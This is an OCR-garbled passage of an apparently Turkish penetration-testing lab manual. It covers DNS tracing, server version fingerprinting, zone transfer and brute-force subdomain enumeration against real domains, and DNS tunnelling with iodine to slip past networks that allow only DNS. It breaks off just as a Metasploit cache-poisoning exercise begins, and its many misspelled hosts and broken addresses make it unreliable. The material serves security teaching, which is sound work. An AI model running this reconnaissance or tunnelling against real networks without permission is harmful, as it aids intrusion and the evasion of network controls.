example.com. 86400 IN SOA dnsO.example.com. hostmaster.ed.ac.
uk. 2012022200 1800 900 864000 86400

example.com. 86400 IN MX  5renko.ucs.example.com.
example.com. 86400 IN MX 5 pascoe.ucs.example.com.
example.com. 86400 IN MX 5 dalziel.ucs.example.com.
example.com. 86400 IN NS dns0.inf.example.com.
example.com. 86400 IN NS  dnsl.inf.example.com.
example.com. 86400 IN NS dns2.inf.example.com.
example.com. 86400 IN NS  lewis.ucs.example.com.
example.com. 86400 IN NS cancer.ucs.example.com.
example.com. 86400 IN NS  xlab-0.example.com.
6-daysample.example.com. 86400 IN CNAME psy-b6-
2.psy.example.com.
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2.psy.example.com.

l.ucs.example.com.
l.ucs.example.com.

abm.example.com.
abm.example.com.
abm.example.com.
abm.example.com.
abm.example.com.
abm.example.com.

_msdcs.example.com.
_msdcs.example.com.
_msdcs.example.com.
_msdcs.example.com.
_msdcs.example.com.
_msdcs.example.com.
www.bioservices.aaps.example.com. 86400 IN
www.intra.aaps.example.com. 86400

www.aaps.example.com.

www.pgrt.aaps.example.com.

Www.scwg.aaps.example.com.

900 IN NS oban.ucs.example.com.
900 IN NS  kelso.ucs.example.com.
900 IN NS  leven.ucs.example.com.
900 IN NS crieff.ucs.example.com.
900 IN NS aviemore.ucs.example.com.
900 IN NS cromarty.ucs.example.com.
CNAME kb-iis-1.ucs.example.com.
IN CNAME spike.mis.example.com.
86400 IN CNAME kb-iis-
86400 IN CNAME kb-iis-
86400 IN CNAME kb-iis-1.ucs.example.com.
86400 IN NS dns0.inf.example.com.
86400 IN NS dns1l.inf.example.com.
86400 IN NS dns2.inf.example.com.
86400 IN NS lewis.ucs.example.com.
86400 IN NS cancer.ucs.example.com.
86400 IN NS xlab-0.example.com.

www.6-daysample.example.com. 86400

IN CNAME psy-b6-

Uygulama No:

DNS Uzerinden Trace Calismalari

BGA-UAG-35

Amag: Dns tarafinda yasanilan problemin nerede hangi asamada olduguna dair

sorgulama

Dns lizerinden sorun yasadigimzi diisiiniiyorsaniz sorunun kaynagini bulmak icin dns
trace kullanilir. DNS trace sorgulanan domaine ait tiim adimlar1 detayl bir sekilde
gosterir. Boylece sorunun hangi asamada hangi sunucudan kaynaklandigi bulunabilir.

9888
9888
9888
9888
9888
9888
9888

IN
IN
IN
IN
IN
IN
IN

bgalabs:~ 1$ dig +trace haberturk.com.tr

; <<>>DiG 9.8.3-P1 <<>> +trace haberturk.com.tr
;; global options: +cmd

NS
NS
NS
NS
NS
NS
NS

froot-servers.net.
jroot-servers.net.
croot-servers.net.
a.root-servers.net.
m.root-servers.net.
h.root-servers.net.
d.root-servers.net.
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9888 IN NS iroot-servers.net.
9888 IN NS groot-servers.net.
9888 IN NS lroot-servers.net.
9888 IN NS b.root-servers.net.
9888 IN NS erxoot-servers.net.
. 9888 IN NS kroot-servers.net.
;; Received 228 bytes from 8.8.8.8#53(8.8.8.8) in 59 ms

tr. 172800 IN NS ns5.nic.tr.
tr. 172800 IN NS nslnictr.
tr. 172800 IN NS nsZ.nic.tr.
tr. 172800 IN NS ns3.nic.tr.
tr. 172800 IN NS ns4.nictr.
tr. 172800 IN NS tr.cctld.authdns.ripe.net.

;; Received 347 bytes from 199.7.91.13#53(199.7.91.13) in 282 ms

haberturk.com.tr. 43200 IN NS ns2.cyh.com.tr.
haberturk.com.tr. 43200 IN NS nsl.cyh.com.tr.
;; Received 106 bytes from 144.122.95.51#53(144.122.95.51) in 136 ms

haberturkcom.tr. 86400 IN A 92.45.106.102
haberturk.com.tr. 86400 IN A 92.45.106.101
haberturkcom.tr. 86400 IN NS ns2.cyh.com.tr.
haberturk.com.tr. 86400 IN NS nsl.cyh.com.tr.

;; Received 138 bytes from 91.199.73.23#53(91.199.73.23) in 11 ms

Bir istemci tarafindan www.haberturk.com.tr adresinin sorgulanmasi esnasinda gidilen
dns sunucularini ve onlarin dondiigii cevaplari gosterir.

Gortlecegi tlizere ilk olarak root serverlardan .tr uzantih adreslerin nerede tutuldugu
bilgisi alinmistir. Sonrasinda bu adreslerden birine haberturk.com.tr domaininden
sorumlu DNS sunucu sorulmus ve cevap alinmistir. Son olarak da www.haberturk.com.tr
domaini haberturk.com.tr’den sorumlu dns sunucuya sorularak islem tamamlanmistir.
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Uygulama No: BGA-UAG-36

512 Byte Uzeri DNS Paketlerinin TCP’e Cevrilmesi

Amag: Normal DNS isteklerinin udp paketlerinin byte uzunluklar1 c¢ok biyiik
olmayacaktir fakat 512 byte lizeri DNSisteklerinin tasinmasi daha giivenli olmasi igin TCP
ye aktarilir.

Sorgulama yapilacak istemci bilgisayar tlizerindeki dns trafigi tcpdump ile izlenir.

root@bt:~# tcpdump -i ethO -tn port 53 -v

Adim 1: Normal bir dns sorgusu yapilir.

root@bt:~# dig bga.com.tr @ns1.bga.com.tr

; <<>>DiG 9.7.0-P1 <<>> bga.com.tr @ns1.bga.com.tr

;; global options: +cmd

;» Gotanswer:

;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 65375

;; flags: qr aard; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 2
;; WARNING: recursion requested but not available

;; QUESTION SECTION:
;bga.com.tr. IN A

;; ANSWER SECTION:
bga.comtr. 60 IN A 50.22.202.162

;; AUTHORITY SECTION:
bga.comtr. 60 IN NS nsl.bga.com.tr.
bga.com.tr. 60 IN NS ns2.bga.com.tr.

;; ADDITIONAL SECTION:
nsl.bga.com.tr. 60 IN A 50.22.202.162
ns2.bga.com.tr. 60 IN A 50.22.202.163

;; Query time: 316 msec

;; SERVER: 50.22.202.162#53(50.22.202.162)
;; WHEN: Mon Jul 29 09:39:17 2013

;; MSG SIZE rcvd: 112

Adim 2: Yapilacak DNS sorgusunun 512byte tizerinde olacak sekilde yapilandirilmis bir
domain sorgulanir ve trafigi incelendiginde ¢ikti sonucu incelendiginde fark goriilebilir.
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root@bt:~# dig test.bga.com.tr @ns1.bga.com.tr
;; Truncated, retrying in TCP mode.

; <<>>DiG 9.7.0-P1 <<>> testbga.com.tr @ns1.bga.com.tr

;; global options: +cmd

;; Gotanswer:

;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 57965

;; flags: qraard; QUERY: 1, ANSWER: 36, AUTHORITY: 2, ADDITIONAL: 2
;; WARNING: recursion requested but notavailable

;; QUESTION SECTION:

;testbga.com.tr. IN A

;; ANSWER SECTION:

testbga.com.tr. 60 IN A 1.2.3.6
testbga.com.tr. 60 IN A 1.2.3.8
testbga.com.tr. 60 IN A 1.2.3.11
testbga.comtr. 60 IN A 1.2.3.12
testbga.com.tr. 60 IN A 1.2.3.41
testbga.comtr. 60 IN A 1.2.3.42
testbga.comtr. 60 IN A 1.2.3.43
testbga.com.tr. 60 IN A 1.2.3.44
testbga.com.tr. 60 IN A 1.2.3.45
testbga.com.tr. 60 IN A 1.2.3.46
testbga.com.tr. 60 IN A 1.2.347
testbga.comtr. 60 IN A 1.2.3.48
testbga.com.tr. 60 IN A 1.2.3.49
testbga.com.tr. 60 IN A 1.2.34.21
testbga.com.tr. 60 IN A 1.2.34.23
testbga.com.tr. 60 IN A 1.2.34.24
testbga.comtr. 60 IN A 1.2.34.25
testbga.com.tr. 60 IN A 1.2.34.26
testbga.com.tr. 60 IN A 1.2.34.28
testbga.com.tr. 60 IN A 1.2.34.29
testbga.comtr. 60 IN A 1.2.34.30
testbga.com.tr. 60 IN A 1.2.34.31
testbga.com.tr. 60 IN A 1.4.34.32
testbga.com.tr. 60 IN A 1.5.34.32
testbga.com.tr. 60 IN A 1.6.34.32
testbga.comtr. 60 IN A 1.7.34.32
testbga.com.tr. 60 IN A 1.8.34.32
testbga.com.tr. 60 IN A 1.9.34.32
testbga.com.tr. 60 IN A 222.222.222.223
testbga.com.tr. 60 IN A 222.222.222.224
testbga.com.tr. 60 IN A 1.23.0
testbga.com.tr. 60 IN A 1.23.1
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testbga.comtr. 60 IN A 1.23.2
testbga.comtr. 60 IN A 1.2.3.3
testbga.comtr. 60 IN A 1.2.34
testbga.comtr. 60 IN A 1.235

;; AUTHORITY SECTION:
bga.com.tr. 60 IN NS nsl.bga.com.tr.
bga.comtr. 60 IN NS ns2.bga.com.tr.

;; ADDITIONAL SECTION:
nsl.bga.com.tr. 60 IN A 50.22.202.162
ns2.bga.com.tr. 60 IN A 50.22.202.163

;; Query time: 254 msec

;; SERVER: 50.22.202.162#53(50.22.202.162)
;; WHEN: Mon Jul 29 09:39:20 2013

;; MSG SIZE rcvd: 677

Adim 3: Istemci bilgisayarm DNS trafiginin incelenmesi

root@bt:~# tcpdump -i ethO -tn port 53 -v

tcpdump: listening on ethO0, link-type EN10MB (Ethernet), capture size 65535 bytes

IP (tos 0x0, ttl 255, id 43782, offset 0, flags [none], proto UDP (17), length 71)
6.6.6.122.58977 > 8.8.8.8.53: 55092+ A? e3191.dscc.akamaiedge.net. (43)

IP (tos 0x0, ttl 64, id 62085, offset 0, flags [none], proto UDP (17),length 56)
6.6.6.113.50921 > 50.22.202.162.53: 65375+ A? bga.com.tr. (28)

[P (tos 0x0, ttl 255, id 10336, offset 0, flags [none], proto UDP (17), length 75)
6.6.6.122.63032 > 8.8.8.8.53: 54836+ A? safebrowsing-cache.google.com. (47)

IP (tos 0x0, ttl 47, id 18053, offset 0, flags [none], proto UDP (17), length 140)
50.22.202.162.53 > 6.6.6.113.50921: 65375*- 1/2/2 bga.com.tr. A

50.22.202.162 (112)

IP (tos 0x0, ttl 64, id 325, offset 0, flags [DF], proto UDP (17), length 60)
6.6.6.113.44532 > 8.8.8.8.53: 41938+ A? ns1.bga.com.tr. (32)

IP (tos 0x0, ttl 48, id 50703, offset 0, flags [none], proto UDP (17), length 76)
8.8.8.8.53>6.6.6.113.44532: 41938 1/0/0 ns1.bga.com.tr. A50.22.202.162 (48)

IP (tos 0x0, ttl 64, id 62086, offset 0, flags [none], proto UDP (17), length 61)
6.6.6.113.39840 > 50.22.202.162.53: 46872+ A? test.bga.com.tr. (33)

IP (tos 0x0, ttl 47, id 18421, offset 0, flags [none], proto UDP (17), length 525)
50.22.202.162.53 > 6.6.6.113.39840: 46872*-[ 29/0/0 test.bga.com.tr. A 1.2.3.8,

test.bga.com.tr. A 1.2.3.11, test.bga.com.tr. A 1.2.3.12, test.bga.com.tr. A 1.2.3.41,

test.bga.com.tr. A 1.2.3.42, test.bga.com.tr. A 1.2.3.43, test.bga.com.tr. A 1.2.3.44,

test.bga.com.tr. A 1.2.3.45, test.bga.com.tr. A 1.2.3.46, test.bga.com.tr. A 1.2.3.47,

test.bga.com.tr. A 1.2.3.48, test.bga.com.tr. A 1.2.3.49, test.bga.com.tr. A 1.2.34.21,

test.bga.com.tr. A 1.2.34.23, test.bga.com.tr. A 1.2.34.24, test.bga.com.tr. A 1.2.34.25,

test.bga.com.tr. A 1.2.34.26, test.bga.com.tr. A 1.2.34.28, test.bga.com.tr. A 1.2.34.29,
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test.bga.com.tr. A 1.2.34.30, test.bga.com.tr. A 1.2.34.31, test.bga.com.tr. A 1.4.34.32,
test.bga.com.tr. A 1.5.34.32, test.bga.com.tr. A 1.6.34.32, test.bga.com.tr. A 1.7.34.32,
test.bga.com.tr. A 1.8.34.32, test.bga.com.tr. A 1.9.34.32, test.bga.com.tr. A
222.222.222.223, test.bga.com.tr. A 222.222.222.224 (497)
IP (tos 0x0, ttl 64, id 20034, offset 0, flags [DF], proto TCP (6), length 60)
6.6.6.113.51947 > 50.22.202.162.53: Flags [S], cksum 0x095e (incorrect ->
Oxe2d2), seq 142560288, win 14600, options [mss 1460,sackOK,TS val 14090850 ecr
0,nop,wscale 4], length 0
IP (tos 0x0, ttl 47, id 18494, offset 0, flags [DF], proto TCP (6), length 60)
50.22.202.162.53 > 6.6.6.113.51947: Flags [S.], cksum 0Oxa7a4 (correct), seq
2133645916,ack 142560289, win 65535, options [mss 1452,nop,wscale 3,sackOK,TS val
1916119151 ecr 14090850],length 0
IP (tos 0x0, ttl 64, id 20035, offset 0, flags [DF], proto TCP (6), length 52)
6.6.6.113.51947 > 50.22.202.162.53: Flags [.], cksum 0x0956 (incorrect -> 0xd26e),
ack 1, win 913, options [nop,nop,TS val 14090951 ecr 1916119151], length 0
[P (tos 0x0, ttl 64, id 20036, offset 0, flags [DF], proto TCP (6), length 87)
6.6.6.113.51947 > 50.22.202.162.53: Flags [P.], cksum 0x0679 (correct), seq 1:36,
ack 1, win 913, options [nop,nop,TS val 14090952 ecr 1916119151}, length 3557965+ A?
testbga.com.tr. (33)
IP (tos 0x0, ttl 47, id 18575, offset 0, flags [DF], proto TCP (6), length 731)
50.22.202.162.53 > 6.6.6.113.51947: Flags [P.], cksum 0x0086 (correct), seq 1:680,
ack 36, win 8280, options [nop,nop,TSval 1916119543 ecr 14090952],length 67957965*-
36/2/2 testbga.com.tr. A 1.2.3.6, testbga.com.tr. A 1.2.3.8, testbga.com.tr. A 1.2.3.11,
testbga.com.tr. A 1.2.3.12, testbga.com.tr. A 1.2.3.41, testbga.com.tr. A 1.2.342,
testbga.com.tr. A 1.2.343, testbga.com.tr. A 1.2.3.44, testbga.com.tr. A 1.2.3.45,
testbga.com.tr. A 1.2.3.46, testbga.com.tr. A 1.2.3.47, testbga.comtr. A 1.2.3.48,
testbga.com.tr. A 1.2.3.49, testbga.com.tr. A 1.2.34.21, testbga.com.tr. A 1.2.34.23,
testbga.com.tr. A 1.2.34.24, testbga.com.tr. A 1.2.34.25, testbga.com.tr. A 1.2.34.26,
testbga.com.tr. A 1.2.34.28, testbga.com.tr. A 1.2.34.29, testbga.com.tr. A 1.2.34.30,
testbga.com.tr. A 1.2.34.31, testbga.com.tr. A 1.4.34.32, testbga.com.tr. A 1.5.34.32,
testbga.com.tr. A 1.6.34.32, testbga.com.tr. A 1.7.34.32, testbga.com.tr. A 1.8.34.32,
testbga.com.tr. A 1.9.34.32, testbga.com.tr. A 222.222.222.223, testbga.com.tr. A
222.222.222.224, testbga.com.tr. A 1.2.3.0, testbga.com.tr. A 1.2.3.1, testbga.com.tr. A
1.2.3.2, testbga.com.tr. A 1.2.3.3, testbga.com.tr. A 1.2.3.4, testbga.com.tr. A 1.2.3.5 (677)
IP (tos 0x0, ttl 64, id 20037, offset 0, flags [DF], proto TCP (6), length 52)
6.6.6.113.51947 > 50.22.202.162.53: Flags [.], cksum 0x0956 (incorrect -> 0xcd88),
ack 680, win 998, options [nop,nop,TS val 14091014 ecr 1916119543],length 0
26 packets captured
29 packets received by filter
0 packets dropped by kernel
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Uygulama No: BGA-UAG-37

DNS Sunucu Versiyon Belirleme

Amag: Bir dns sunucunun version bilgisini 6grenmek icin DIG uygulamasi kullanilabilir.

Adim 1: DNS Version bilgisinin ac¢ik oldugu dns version bilgisi sorgulama sonucu

root@bt:~# dig @ns1.haberturk.com.tr txt chaos version.bind

; <<>>DiG 9.7.0-P1 <<>> @ns1.haberturk.com.tr txt chaos version.bind
; (1 server found)

;; global options: +cmd

;» Gotanswer:

;; >>HEADER<<- opcode: QUERY, status: NOERROR, id: 19711

;; flags: qr aard; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 0
;; WARNING: recursion requested but not available

;; QUESTION SECTION:

;version.bind. CH TXT
;» ANSWER SECTION:
version.bind. 0 CH TXT "9.3.6-P1-RedHat-9.3.6-4.P1.el5"

; AUTHORITY SECTION:
version.bind. 0 CH NS version.bind.

;; Query time: 97 msec

;; SERVER: 91.199.73.23#53(91.199.73.23)
;; WHEN: Mon Jul 29 09:53:00 2013

;; MSG SIZE rcvd: 87
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Adim 2: DNS Version bilgisinin degistirilmis oldugu dns version bilgisi sorgulama sonucu

root@bt:~# dig @ns1.bga.com.tr txt chaos version.bind

; <<>>DiG 9.7.0-P1 <<>> @ns1.bga.com.tr txt chaos version.bind

; (1 server found)

;; global options: +cmd

;; Gotanswer:

;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 2449

;; flags: qr aard; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 0
;; WARNING: recursion requested but notavailable

;; QUESTION SECTION:

;version.bind. CH TXT
;» ANSWER SECTION:
version.bind. 0 CH TXT "BGAv8.9"

;» AUTHORITY SECTION:
version.bind. 0 CH NS version.bind.

;; Query time: 179 msec

;; SERVER: 50.22.202.162#53(50.22.202.162)
;; WHEN: Mon Jul 29 09:51:24 2013

;; MSG SIZE rcvd: 64
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Uygulama No: BGA-UAG-38
DNS Zone Transferiile Alt Domain Adreslerinin Bulunmasi

Amac: DNS sunucuya yonelik bir domainin alt domainleri bulmak istenirse zone transferi
kontrolti ile bu bilgi elde edilebilir

Adim 1: Zone transferinin kapali oldugu bir dns sorgulamasi

root@bt:~# dig @ns1.bga.com.tr bga.com.tr axfr

; <<>>DiG 9.7.0-P1 <<>> @ns1.bga.com.tr bga.com.tr axfr
; (1 server found)

;; global options: +cmd

; Transfer failed.

Adim 2: Zone transferine a¢ik olan bir dns sorgulamasi

root@bt:~# dig @nsl.example.com example.com axfr

; <<>>DiG 9.9.2-P1 <<>> @ns1.example.com example.com axfr
; (1 server found)
;; global options: +cmd

example.com. 3600 IN SOA nsl.example.com. hostmaster.example.com.
2009051396 1800 600 86400 3600

example.com. 3600 IN A 1.1.1.201

example.com. 3600 IN NS nsl.example.com.

example.com. 3600 IN NS ns2.example.com.

example.com. 3600 IN NS nspl.example.com.

example.com. 3600 IN NS nsp2.example.com.

example.com. 3600 IN NS ns4.example.com.

example.com. 3600 IN MX 10 mail.example.com.

example.com. 3600 IN TXT "v=spfl mx ptrip4:1.1.1.1 +all”

mail.example.com. 3600 IN A 1.1.1.1
nsl.example.com. 3600 IN A 1.1.1.2
ns10.example.ccom. 3600 IN A 213.139.193.2
ns2.example.com. 1200 IN A 1.1.1.5
ns2.example.ccom. 1200 IN AAAA 2002:5d5e:f903::5d5e:f903
ns20.example.ccom. 3600 IN A 1.1.1.5
ns4.example.ccom. 3600 IN A 1.1.1.22
nspl.example.ccom. 3600 IN A 1.1.1.3
nsp2.example.com. 3600 IN A123.123.123.123
webmail.example.com. 3600 IN A 1.1.1.25
wiki.example.com. 3600 IN A 1.1.14
wpad.example.com. 1200 IN A 127.0.0.1
www.example.com. 3600 IN A 1.1.1.201
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2009051396 1800 600 86400 3600

;; Query time: 33 msec

;; SERVER: 1.1.1.2#53(1.1.1.2)

;; WHEN: Sun Jul 21 01:37:24 2013

;; XFR size: 23 records (messages 23, bytes 1308)

example.com. 3600 IN SOA  nsl.example.com. hostmaster.example.com.

DNS sunucusu tizerinden Zone Trasnferine izin verilmis ise ¢esitli araglar yardim ile o
Zone ‘a ait tim kayitlar kolaylikla alinabilir. Alinan kayitlar ile kuruma ait host isimleri
bulunarak o hostlara ait giivenlik zafiyetleri arastirilir.

Bir DNS sunucusu lizerinden Zone Transferi yapmak icin Linux oraminda ¢alisan HOST,
DNSENUM veya Windows ortaminda ¢alisan NSLOOKUP araglar1 kullanilabilir.

Uygulama No: BGA-UAG-39

DNS Alt Domain Adreslerini Brute Force Denemeleriyle Bulma

Amag: Altdomainlerini 68renmek istedigimiz domain adresinin bulundugu DNS
sunucuya denemeler yaparak sorgulayan bir aracla(fierce) alt domainlerin bulunmasi

Adim 1: Fierce ile hedef domainin alt domainlerinin bulunmasi

threats 10

Unknown option: threats

DNS Servers for lifeoverip.net:
ns77.domaincontrol.com
ns78.domaincontrol.com

Trying zone transfer first...
Testing ns77.domaincontrol.com
Requesttimed out or transfer not allowed.
Testing ns78.domaincontrol.com
Requesttimed out or transfer not allowed.

Unsuccessful in zone transfer (it was worth a shot)
Okay, trying the good old fashioned way... brute force

Checking for wildcard DNS...

Nope. Good.

Now performing 3 test(s)...
178.18.195.170 blog.lifeoverip.net

root@bt:/pentest/enumeration/dns/fierce# perl fierce.pl -dns lifeoverip.net --
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178.18.195.170 www.lifeoverip.net

Subnets found (may want to probe here using nmap or unicornscan):
178.18.195.0-255 : 2 hostnames found.

Done with Fierce scan: http://ha.ckers.org/fierce/
Found 2 entries.

Have a nice day.

Hedef domain adresinin zone transferine kapali olmasindan dolay1 alt domainleri
deneyerek bulma yontemi uygulanmistir. “/pentest/enumeration/dns/fierce” dizini
altinda bulunan “hosts.txt” dosyasinda 1890 - civarinda alt domain adresleri mevcuttur.
istenildiginde diizenlenip ekleme ¢ikartma yapilabilir.

Uygulama No: BGA-UAG-40

DNS Tunneling - DNS Protokolii Uzerinden TCP/HTTP Paketleri
Tlnelleme

Amag: DNS Protokolii Uzerinden TCP/HTTP Paketleri Tiinelleme
DNS Tiinelleme

DNS tiinelleme gizli kanallara en iyi 6rnektir ve sadece dns sorgularina acik olan aglarda
siirsiz erisime sahip olmak icin sik¢a kullanilan bir yontemdir. Amacg yerel agdan
disardaki bir sunucuyu sorgular gibi yaparak sorgulama paketleri icinden veri
aktarmmudir.

Guniumiizde ¢cogu ag -6zellikle ticari Wifi sistemler bu yonteme karsi korumasizdir.

DNS Servisi Nasil Calisir?

DNS sistemi basitce internet lizerinde kullanilan isim-IP eslesmesini ve maillerin
yonlendirilmesi amach kullanilir. Giintimiizde DNS’siz bir ag diistiniilemez denilebilir.
Her yerel agda ve tiim internetaginda hiyerarsik bir DNS yapis1 vardir.

DNS Tiinelleme Nasil Caligir?

DNS protokoliinden bahsederken ¢esitli kayit tiplerinden olustugunu ve sorgulamalarin
bu kayitlar araciligi ile yapildigin1 belirtmistik. Dns tiinellemede de bu sorgu tiplerini
kullaniyoruz. Mesela bir TXT kaydi her bir kayit icin base64 formatinda 220 byte veri
tasiyabiliyor.  Diger yaygin kullanilmayan dns kayit tipleri ile ¢ok daha fazla veri
tasmabiliyor. Burada 6nemli olan tek bir kayit tipi ile max ne kadar veri tasinabilecegidir.
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Tekrardan DNS sisteminin nasil ¢alistigin1 hatirlatalim: Yerel aginizdaki makinenizden
abc.tunnel.huzeyfe.net adresinin sorgulandiginda asagidaki adimlar ytrttilir.

1)Sorgu ilk olarak yerel DNS sunucuya iletilecektir,

2)Yerel DNS sunucu kendi 6n bellegini kontrol ederek boyle bir kayittan haberdar olup
olmadigina bakacaktir ve eger kayit varsa kullaniciya cevap donecektir

3)Eger kendi lizerinde kayit yoksa Oncelikle huzeyfe.net'ten sorumlu DNS sunucuyu
bulacaktir

4)huzeyfe.net'ten sorumlu DNS sunucuyu bulduktan sonra tunnelhuzeyfe.net alt
domaininden  kimin  sorumlu oldugunu soracaktir ve alacagi cevaba
abc.tunnelhuzeyfe.net adresini soracaktir.

Evet ne oldu? Benim yerel agdan yaptigim masumane dns istegi geldi
tunnelhuzeyfe.net’den sorumlu dns sunucuya(netsec.huzeyfe.net oldugunu varsayalim).

Peki ben 6zel bir dns istegi olustursam ve sorgulama kisminin haricinde kalan alana(xyz
byte) istedigim verileri yerlestirsem ve gondersem ayni istek netsec.huzeyfe.net
adresine(netsec.huzeyfe.net adresinin udp/53 portuna) gelecek mi? Evet, hem de hicbir
degisiklige ugramadan. O zaman ben netsec.huzeyfe.net adresinde 6zel bir uygulama
calistirarak yine 6zel istemcimden gelen verileri yorumlayabilir miyim. Yeterli bilgim ve
deneyimim varsa neden olmasin? Ya da bunu birileri bizim yerimize yaptiysa..

Kisaca DNS tiinelleme, bir istemci ve bu istemcinin Urettigi paketlerden anlayacak bir
sunucudan olusur. Sunucunun DNS portundan ¢alistirilarak gergek bir DNS sunucu gibi
gozukmesi saglanir.
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(netsec. huzeyfo.net)

: — — c— s . ONS tunneling
2 n calisan sunucu

Yerel DNS Sunucu

Legal bir dns istegi

gibi giden veri
pakotieri
l\
©
Huzeyfe.net'den
§ sorumiu DNS
sunucu
netsec.huzeyfe.net, IN A 1.2.3.4
tunnel  huzeyfe.net. N NS netsec. huzeyfe.net.
DNS Tiinelleme Araclar

UNIX/Linux diinyasinda bir¢ok DNS tiinelleme yazilimi olmakla birlikte bunlarin ¢ogu
oldukc¢a zahmetli bir kurulum ve kullanim gerektirir. Bu yazi i¢in tli¢ farkli DNS tiinelleme
uygulamasindan bahsedecegim ve bunlardan biri -ki digerlerine gore kurulumu,
kullanimi oldukca basit- ile sistemin nasil calistigini 6rneklemeye ¢calisacagim.

UNIX Diinyasindaki poptler DNS Tiinelleme Yazilimlari
Ozymandns

Perl ile yazilmis ve en sk kullanlan Dns tinelleme yazilimlarindan
biri.(http://www.doxpara.com/) Kullanimi i¢in gerekli olan perl modiillerinin fazlalig1 ve
perl’un threads destegi olmadig1 durumlarda problem ¢ikarmasi sebebi ile benim tercih
etmedigim bir yazilim. Kurulum sonrasikullanimi ise kurulumun tam tersi olarak oldukca
kolay.

Ozymandns’in saghklh calisabilmesi i¢in sistemde kurulu olmasi gereken perl modiilleri;

Fentl;

Net::DNS;

Net::DNS::Nameserver;

LWP::Simple;

LWP::UserAgent;

Time::HiRes qw (usleep gettimeofday );
MIME::Base64;

MIME::Base32 qw ( RFC);

[0::Socket;

Class::Struct;
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threads;

threads::shared;

Thread::Queue;

Getopt::Long;

English;

Nstx

nstx ozzyman’a gore biraz daha kararli ve her iki ucta Linux gerektiriyor.. Kurulum ve
kullanim1 oldukga kolay. Sahte tun arabirimleri ile gercek bir VPN gibi ¢alistirilabilir.
Sadece Linux sistemlerde calismasi bir dezavantaj olarak géze ¢arpiyor.

http://nstx.dereference.de/nstx/)

Yapilandirmasi ile ilgili detay bilgiye [5] adresinden erisilebilir.

Iodine(IP over DNS is now easy)

lodine(IP over dns now easy)dns tiinelleme yazilimlar1 arasinda hem platform bagimsiz
olmasi hem de kolay kurulum ve kullanimu ile en iyi dns tiinelleme yazilimi sayilabilir.
Iodine Linux , FreeBSD ve OpenBSD vs lizerinde problemsiz calismakta. Benim test
ortamimda istemci tarafinda Kali Linux, sunucu tarafinda Apache Server bulunmaktadir.

DNS Tiinelleme Uygulamasi

Istemci tarafiiodine ¢calistirma

root@Kkali:~/Desktop# iodine vpn.cehturkiye.com
Enter password:

Opened dns0

Opened UDP socket

Sending DNS queries for vpn.cehturkiye.com to 172.16.16.1
Autodetecting DNS query type (use -T to override).

Using DNS type NULL queries

Version ok, both using protocol v0x00000502. You are user #0
Setting [P of dnsO to 7.7.7.1

Setting MTU of dns0 to 1130

Server tunnel IP is 7.7.7.7

Testing raw UDP data to the server (skip with -r)

Serveris at 37.1.145.34, trying raw login: OK

Sending raw traffic directly to 37.1.145.34

Connection setup complete, transmitting data.

Detaching from terminal...

root@kali:~/Desktop#

Baglanti kurulduktan sonra istemci bilgisayara dnsO adindan bir arayiiz
gelecektir.Asagidaki tabloda ‘ifconfig ‘ komutu calistirilmis ve dns0O araytiziiniin geldigi
gorulmektedir.

root@Kkali:~/Desktop# ifconfig
dns0  Link encap:UNSPEC HWaddr 00-00-00-00-00-00-00-00-00-00-00-00-00-
00-00-00
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inet addr:7.7.7.1 P-t-P:7.7.7.1 Mask:255.255.255.224

UP POINTOPOINT RUNNING NOARP MULTICAST MTU:1130 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0

TX packets:0 errors:0 dropped:0 overruns:0 carrier:0

collisions:0 txqueuelen:500
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)

eth0 Link encap:Ethernet HWaddr 00:0c:29:ef:98:87
inetaddr:172.16.16.183 Bcast:172.16.16.255 Mask:255.255.255.0
inet6 addr: fe80::20c:29ff:feef:9887/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:244076 errors:0 dropped:1 overruns:0 frame:0
TX packets:190213 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:221314471 (211.0 MiB) TX bytes:76338289 (72.8 MiB)
Interrupt:19 Base address:0x2024

lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr:::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:837169 errors:0 dropped:0 overruns:0 frame:0
TX packets:837169 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:127410589 (121.5 MiB) TX bytes:127410589 (121.5 MiB)

Baglanti testi;

Bu islemlerden sonra eklenen dns0 araytiziindeki ip adresine ( http://7.7.7.7 /proxy/ )
browser lizerinden erisilerek acilan sayfadan istenen adrese ulasilabilir.
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PHPraxy .
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Agillan sayfada karsimiza istedigimiz URL adresini erisebilecegimiz bir proxy araa
geldi.Buradan normal browser tizerinde islem yapar gibi istedigimiz adrese erismemiz
mumkiindur.

Uygulama No: BGA-UAG-41

Metasploit Kullanarak DNS Cache Poisoning Saldirisi

Amag: Dns sunucusu zehirlenmesi ve saldirganin dns isteklerini yonetebilmesi

DNS Cache Poisoning saldirisinda saldirgan, dns sunucusunu zehirleyerek dns isteklerine
kendisi cevap verir. Ornegin istemci bilgisayar dns sunucusundan herhangi bir adresi
istedigi zaman, isteklere saldirgan tarafindan hazirlanan sahte sayfalarla cevap verilebilir.
Boyle bir senaryonun oldugu durumda ¢ rolden bahsedilebilir. Bunlar zaafiyet
barindiran dns sunucusu, istemci ve saldirgandir.

Ik olarak istemci bilgisayarm dns server olarak zaafiyet barindiran dns

sunucusunu(6.6.6.2) kullandigindan emin olmamiz lazim .Bunun i¢in Once istemci
bilgisayarin dns sunucusu kontrol edilir.
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root@client:~# cat /etc/resolv.conf

nameserver 6.6.6.2

Dns sunucusu zehirlenmeden 6nce nslookup ile google adresini sorgulayarak saghkh
calistigini kontrol edelim.

root@kali:~# nslookup google.com.tr
Server: 6.6.6.2

Address: 6.6.6.2#53
Non-authoritative answer:

Name: google.com.tr

Address: 173.194.44.88

Name: google.com.tr

Address: 173.194.44.87

Name: google.com.tr

Address: 173.194.44.95

Saldirildan 6nce herseyin normal ¢alistigl goriulmektedir. Simdi metasploit aracim
kullanarak dns sunucusunu zehirleyelim.

